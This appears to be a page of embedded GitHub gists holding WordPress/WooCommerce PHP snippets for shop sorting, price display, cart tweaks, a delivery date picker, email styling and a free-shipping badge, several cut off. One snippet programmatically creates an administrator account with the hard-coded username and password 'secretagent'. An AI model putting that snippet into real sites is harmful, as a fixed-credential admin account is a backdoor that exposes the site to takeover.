This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_filter('woocommerce_default_catalog_orderby', 'loc_woo_catalog_orderby'); | |
| function loc_woo_catalog_orderby() { | |
| return 'date'; // you can also use title and price | |
| } | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | function bdev_variable_price_format( $price, $product ) { | |
| $prefix = sprintf('<p class="product-variable">%s: ', __('<b>From</b>', 'ocean-child')); | |
| $min_price_regular = $product->get_variation_regular_price( 'min', true ); | |
| $min_price_sale = $product->get_variation_sale_price( 'min', true ); | |
| $max_price = $product->get_variation_price( 'max', true ); | |
| $min_price = $product->get_variation_price( 'min', true ); | |
| $price = ( $min_price_sale == $min_price_regular ) ? | |
| wc_price( $min_price_regular ) : | |
| '<del>' . wc_price( $min_price_regular ) . '</del>' . '<ins>' . wc_price( $min_price_sale ) . '</ins></p>'; | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | // Step 1: create an admin account. You need to change the details of the account on line 6. | |
| function bb_add_admin_account(){ | |
| $user = 'secretagent'; | |
| $pass = 'secretagent'; | |
| $email = 'secretlocagent@gmail.com'; | |
| if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $user, $pass, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_filter( 'woocommerce_cart_item_name', 'loc_cart_checkout_category_display_for_product', 99, 3); | |
| function loc_cart_checkout_category_display_for_product( $name, $cart_item, $cart_item_key ) { | |
| $product_item = $cart_item['data']; | |
| if ( $product_item->is_type( 'variation' ) ) { | |
| $product_item = wc_get_product( $product_item->get_parent_id() ); | |
| } | |
| $cat_ids = $product_item->get_category_ids(); | |
| if ( $cat_ids ) $name .= '</br>' . wc_get_product_category_list( $product_item->get_id(), ', ', '<span class="posted_in">' . _n( 'Found in:', 'Found in:', count( $cat_ids ), 'woocommerce' ) . ' ', '</span>' ); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_action( 'woocommerce_cart_loaded_from_session', 'bdev_sort_cart_items_alphabetically' ); | |
| function bdev_sort_cart_items_alphabetically() { | |
| global $woocommerce; | |
| $products_in_cart = array(); | |
| foreach ( $woocommerce->cart->cart_contents as $key => $item ) { | |
| $products_in_cart[ $key ] = $item['data']->get_title(); | |
| } | |
| natsort( $products_in_cart ); | |
| $cart_contents = array(); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_action( 'woocommerce_review_order_before_payment', 'loc_customer_date_picker' ); | |
| function loc_customer_date_picker( $checkout ) { | |
| echo '<div id="show-if-shipping" style="display:none"><h3>Delivery Date</h3>'; | |
| woocommerce_form_field( 'delivery_date', array( | |
| 'type' => 'text', | |
| 'class' => array('form-row-wide'), | |
| 'id' => 'datepicker', | |
| 'required' => true, | |
| 'label' => __('Select Delivery Date'), | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_action( 'woocommerce_before_single_product', 'loc_show_video_as_featured_image' ); | |
| function loc_show_video_as_featured_image() { | |
| if ( is_single( '100' ) ) { | |
| remove_action( 'woocommerce_before_single_product_summary', 'woocommerce_show_product_images', 20 ); | |
| remove_action( 'woocommerce_product_thumbnails', 'woocommerce_show_product_thumbnails', 20 ); | |
| add_action( 'woocommerce_before_single_product_summary', 'loc_show_product_video', 30 ); | |
| } | |
| } | |
| function loc_show_product_video() { | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_filter( 'woocommerce_email_styles', 'loc_woocommerce_email_styling' ); | |
| function loc_woocommerce_email_styling( $css ) { | |
| $css .= "#template_header { background-color: #000 !important; }"; | |
| return $css; | |
| } | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_action( 'woocommerce_after_shop_loop_item_title', 'loc_show_free_shipping_badge' ); | |
| function loc_show_free_shipping_badge() { | |
| global $post, $product; | |
| if ( $product && $product->get_price() >= 100 ) { | |
| echo '<span class="free-shipping">' . __( 'Free Shipping!' ) . '</span>'; | |
| } | |
| } |